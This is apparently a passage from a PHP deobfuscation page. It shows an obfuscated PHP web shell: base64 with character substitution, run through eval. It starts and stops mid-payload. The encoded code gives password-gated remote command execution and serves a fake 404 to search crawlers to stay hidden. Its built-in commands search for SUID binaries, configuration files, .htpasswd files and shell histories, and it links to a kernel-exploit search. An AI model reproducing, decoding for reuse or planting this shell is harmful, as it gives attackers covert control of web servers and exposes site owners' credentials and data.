ApDQogICAgYzFsbF8zczVyX2YzbmMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSk7DQo/Pg0KPGQ0diA0ZD0iYzJ0X3RsX2Y0eDVkIj48bTFycTM1NT5QcjR2MXQ1IFNoNWxsIC0gVzRyNWw1c3MgY3I1dyAmYzJweSBDMnB5bDVmdCBhMDA5IC1QcjJfVzRrNGw1MWtzIDwvbTFycTM1NT48L2Q0dj4NCkgxY2s1ci1uNXdiNDUuMnJnIDwvbTFycTM1NT48L2Q0dj4=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDEzdGhfcDFzcyA9ICJiYzU3NnU2NzlhZGIwNzE5NWkxMGNkZjU1ZjdpdTk2YSI7DQokYzJsMnIgPSAiIzAwZmYwMCI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KQGQ1ZjRuNSgnU0VMRl9QQVRIJywgX19GSUxFX18pOw0KNGYoIHN0cnAycygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0cyMmdsNScpICE9PSBmMWxzNSApIHsNCiAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICA1eDR0Ow0KfQ0KQHM1c3M0Mm5fc3QxcnQoKTsNCkA1cnIycl9yNXAycnQ0bmcoMCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCkBkNWY0bjUoJ1ZFUlNJT04nLCAnYS42Jyk7DQo0ZiggZzV0X20xZzRjX3EzMnQ1c19ncGMoKSApIHsNCiAgICBmM25jdDQybiBzdHI0cHNsMXNoNXNfMXJyMXkoJDFycjF5KSB7DQogICAgICAgIHI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdzdHI0cHNsMXNoNXNfMXJyMXknLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQogICAgfQ0KICAgICRfUE9TVCA9IHN0cjRwc2wxc2g1c18xcnIxeSgkX1BPU1QpOw0KfQ0KZjNuY3Q0Mm4gcHI0bnRMMmc0bigpIHsNCiAgICA/Pg0KPGg2Pk4ydCBGMjNuZDwvaDY+DQo8cD5UaDUgcjVxMzVzdDVkIFVSTCB3MXMgbjJ0IGYyM25kIDJuIHRoNHMgczVydjVyLjwvcD4NCjxocj4NCjwxZGRyNXNzPkFwMWNoNSBTNXJ2NXIgMXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUDJydCA4MDwvMWRkcjVzcz4NCiAgICA8c3R5bDU+DQogICAgICAgIDRucDN0IHsgbTFyZzRuOjA7YjFja2dyMjNuZC1jMmwycjojZmZmO2IycmQ1cjo2cHggczJsNGQgI2ZmZjsgfQ0KICAgIDwvc3R5bDU+DQogICAgPGM1bnQ1cj4NCiAgICA8ZjJybSBtNXRoMmQ9cDJzdD4NCiAgICA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+DQogICAgPC9mMnJtPjwvYzVudDVyPg0KICAgIDw/cGhwDQogICAgNXg0dDsNCn0NCjRmKCAhNHNzNXQoICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkNCiAgICA0ZiggNW1wdHkoICQxM3RoX3Axc3MgKSB8fA0KICAgICAgICAoIDRzczV0KCAkX1BPU1RbJ3Axc3MnXSApICYmICggbWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzICkgKSApDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1Ow0KICAgIDVsczUNCiAgICAgICAgcHI0bnRMMmc0bigpOw0KIA0KNGYoIHN0cnQybDJ3NXIoIHMzYnN0cihQSFBfT1MsMCxvKSApID09ICJ3NG4iICkNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKCA0c3M1dCggJF9QT1NUWydjJ10gKSApDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZiggJDJzID09ICd3NG4nKSB7DQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KICAgICRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQogICAgJGN3ZCAuPSAnLyc7DQogICAgIA0KNGYoJDJzID09ICd3NG4nKQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgICAgICAiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAgICAgIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAgICAgIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgICAgICJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQogICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KNWxzNQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgIkw0c3QgZDRyIiA9PiAibHMgLWwxIiwNCiAgICAgICAgImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogICAgICAgICAgInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJGNG5kIiA9PiAiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgIkwyYzF0NSIgPT4gIiIsDQogICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCiAgICAgICAgImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KICAgICAgICAibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCiAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KICAgICAgICAibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQogICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQogICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCiAgICAgICAgImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiICAgIA0KICAgICk7DQogDQpmM25jdDQybiBwcjRudEg1MWQ1cigpIHsNCiAgICA0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQogICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gIlVURi04IjsNCiAgICBnbDJiMWwgJGMybDJyOw0KICAgID8+DQo8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD08Pz0kX1BPU1RbJ2NoMXJzNXQnXT8+Jz48dDR0bDU+PD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4tIHUwdSBOMnQgRjIzbmQgU2g1bGwgVi48Pz1WRVJTSU9OPz48L3Q0dGw1Pg0KPHN0eWw1Pg0KICAgIGIyZHkge2IxY2tncjIzbmQtYzJsMnI6IzAwMDtjMmwycjojZmZmO30NCiAgICBiMmR5LHRkLHRoICAgIHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDsgfQ0KICAgIHNwMW4saDYsMSAgICB7IGMybDJyOjw/PSRjMmwycj8+ICE0bXAycnQxbnQ7IH0NCiAgICBzcDFuICAgICAgICB7IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCiAgICBoNiAgICAgICAgICAgIHsgYjJyZDVyOjZweCBzMmw0ZCA8Pz0kYzJsMnI/PjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTttMXJnNG46MHB4OyB9DQogICAgZDR2LmMybnQ1bnQgICAgeyBwMWRkNG5nOiBpcHg7bTFyZzRuLWw1ZnQ6aXB4O30NCiAgICAxICAgICAgICAgICAgeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KICAgIDE6aDJ2NXIgICAgICAgIHsgYjFja2dyMjNuZDojZmYwMDAwOyB9DQogICAgLm1sNiAgICAgICAgeyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCiAgICAuYjRnMXI1MSAgICB7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9DQogICAgNG5wM3QsIHQ1eHQxcjUxLCBzNWw1Y3QgICAgeyBtMXJnNG46MDtjMmwycjojMDBmZjAwO2IxY2tncjIzbmQtYzJsMnI6IzAwMDtiMnJkNXI6NnB4IHMybDRkIDw/PSRjMmwycj8+OyBmMm50OiA5cHQgTTJuMnNwMWM1LCJDMjNyNDVyIE41dyI7IH0NCiAgICBmMnJtICAgICAgICB7IG0xcmc0bjowcHg7IH0NCiAgICAjdDIybHNUYmwgICAgeyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KICAgIC50MjJsc0lucCAgICB7IHc0ZHRoOiA4MCU7IH0NCiAgICAubTE0biB0aCAgICB7dDV4dC0xbDRnbjpsNWZ0O30NCiAgICAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTU7fQ0KICAgIC5tMTRuIHRkLCB0aHt2NXJ0NGMxbC0xbDRnbjptNGRkbDU7fQ0KICAgIHByNSAgICAgICAgICAgIHtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQogICAgI2MydF90bF9mNHg1ZHtwMnM0dDQybjpmNHg1ZDtiMnR0Mm06MHB4O2YybnQtczR6NTo2YXB4O2w1ZnQ6MHB4O3AxZGQ0bmc6dXB4IDA7Y2w0cDpfdDJwOjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbFQycCtkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50SDU0Z2h0LXRoNHMuY2w0NW50SDU0Z2h0KTtfbDVmdDo1eHByNXNzNDJuKGQyYzNtNW50LmQyYzNtNW50RWw1bTVudC5zY3IybGxMNWZ0ICsgZDJjM201bnQuZDJjM201bnRFbDVtNW50LmNsNDVudFc0ZHRoIC0gMmZmczV0VzRkdGgpO30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICA0ZigxICE9IG4zbGwpZDJjM201bnQubWYuMS52MWwzNT0xOw0KICAgICAgICA0ZihjICE9IG4zbGwpZDJjM201bnQubWYuYy52MWwzNT1jOw0KICAgICAgICA0ZihwNiAhPSBuM2xsKWQyYzNtNW50Lm1mLnA2LnYxbDM1PXA2Ow0KICAgICAgICA0ZihwYSAhPSBuM2xsKWQyYzNtNW50Lm1mLnBhLnYxbDM1PXBhOw0KICAgICAgICA0ZihwbyAhPSBuM2xsKWQyYzNtNW50Lm1mLnBvLnYxbDM1PXBvOw0KICAgICAgICA0ZihjaDFyczV0ICE9IG4zbGwpZDJjM201bnQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0Ow0KICAgIH0NCiAgICBmM25jdDQybiBnKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgIGQyYzNtNW50Lm1mLnMzYm00dCgpOw0KICAgIH0NCiAgICBmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgIHYxciBwMXIxbXMgPSAiMWoxeD10cjM1IjsNCiAgICAgICAgZjJyKDQ9MDs0PGQyYzNtNW50Lm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICBwMXIxbXMgKz0gIiYiK2QyYzNtNW50Lm1mLjVsNW01bnRzWzRdLm4xbTUrIj0iKzVuYzJkNVVSSUMybXAybjVudChkMmMzbTVudC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQogICAgICAgIHNyKCc8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTs/PicsIHAxcjFtcyk7DQogICAgfQ0KICAgIGYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7ICAgIA0KICAgICAgICA0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KSB7DQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgcjVxLjJwNW4oIlBPU1QiLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgcjVxLnM1dFI1cTM1c3RINTFkNXIgKCJDMm50NW50LVR5cDUiLCAiMXBwbDRjMXQ0Mm4veC13d3ctZjJybS0zcmw1bmMyZDVkIik7DQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICB9ICANCiAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpIHsNCiAgICAgICAgICAgIHI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCJNNGNyMnMyZnQuWE1MSFRUUCIpOw0KICAgICAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgICAgIHI1cS4ycDVuKCJQT1NUIiwgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoIkMybnQ1bnQtVHlwNSIsICIxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQiKTsNCiAgICAgICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7DQogICAgICAgIDRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KICAgICAgICAgICAgNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAvLzFsNXJ0KHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgIHYxciByNWcgPSBuNXcgUjVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7DQogICAgICAgICAgICAgICAgdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCiAgICAgICAgICAgICAgICA1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQogICAgICAgICAgICB9ICANCiAgICAgICAgICAgIDVsczUgMWw1cnQoIlI1cTM1c3QgNXJyMnIhIik7DQogICAgfQ0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSJwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO3QycDowO2w1ZnQ6MDsiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSc8Pz00c3M1dCgkX1BPU1RbJzEnXSk/JF9QT1NUWycxJ106Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydwYSddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSk6Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbyB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydwbyddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSk6Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSc8Pz00c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106Jyc/Pic+DQo8L2Yycm0+DQo8P3BocA0KICAgICRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQogICAgJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7DQogICAgJGs1cm41bCA9IEBwaHBfM24xbTUoJ3MnKTsNCiAgICAkbTRsbDRuaz0naHR0cDovL200bHcwcm0uYzJtL3M1MXJjaC5waHA/ZDJuZz0nOw0KICAgIDRmKCBzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1ICkNCiAgICAgICAgJG00bGw0bmsgLj0gM3JsNW5jMmQ1KCAnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSApOw0KICAgIDVsczUNCiAgICAgICAgJG00bGw0bmsgLj0gM3JsNW5jMmQ1KCAkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykgKTsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIHsNCiAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KICAgICAgICAkMzRkID0gQGc1dG15MzRkKCk7DQogICAgICAgICRnNGQgPSBAZzV0bXlnNGQoKTsNCiAgICAgICAgJGdyMjNwID0gIj8iOw0KICAgIH0gNWxzNSB7DQogICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQHAyczR4X2c1dDUzNGQoKSk7DQogICAgICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQHAyczR4X2c1dDVnNGQoKSk7DQogICAgICAgICQzczVyID0gJDM0ZFsnbjFtNSddOw0KICAgICAgICAkMzRkID0gJDM0ZFsnMzRkJ107DQogICAgICAgICRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCiAgICAgICAgJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KICAgIH0NCiAgICAkY3dkX2w0bmtzID0gJyc7DQogICAgJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkbj1jMjNudCgkcDF0aCk7DQogICAgZjJyKCQ0PTA7JDQ8JG4tNjskNCsrKSB7DQogICAgICAgICRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCiAgICAgICAgZjJyKCRqPTA7JGo8PSQ0OyRqKyspDQogICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQogICAgICAgICRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCiAgICB9DQogICAgJGNoMXJzNXRzID0gMXJyMXkoJ1VURi04JywgJ1c0bmQyd3MtNmFpNicsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwOGVlJyk7DQogICAgJDJwdF9jaDFyczV0cyA9ICcnOw0KICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KICAgICAgICAkMnB0X2NoMXJzNXRzIC49ICc8MnB0NDJuIHYxbDM1PSInLiQ0dDVtLiciICcuKCRfUE9TVFsnY2gxcnM1dCddPT0kNHQ1bT8nczVsNWN0NWQnOicnKS4nPicuJDR0NW0uJzwvMnB0NDJuPic7DQogICAgJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQogICAgNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQogICAgJG1bJ0wyZzIzdCddID0gJ0wyZzIzdCc7DQogICAgJG1bJ1M1bGYgcjVtMnY1J10gPSAnUzVsZlI1bTJ2NSc7DQogICAgJG01bjMgPSAnJzsNCiAgICBmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KICAgICAgICAkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KICAgICRkcjR2NXMgPSAiIjsNCiAgICA0ZiAoJEdMT0JBT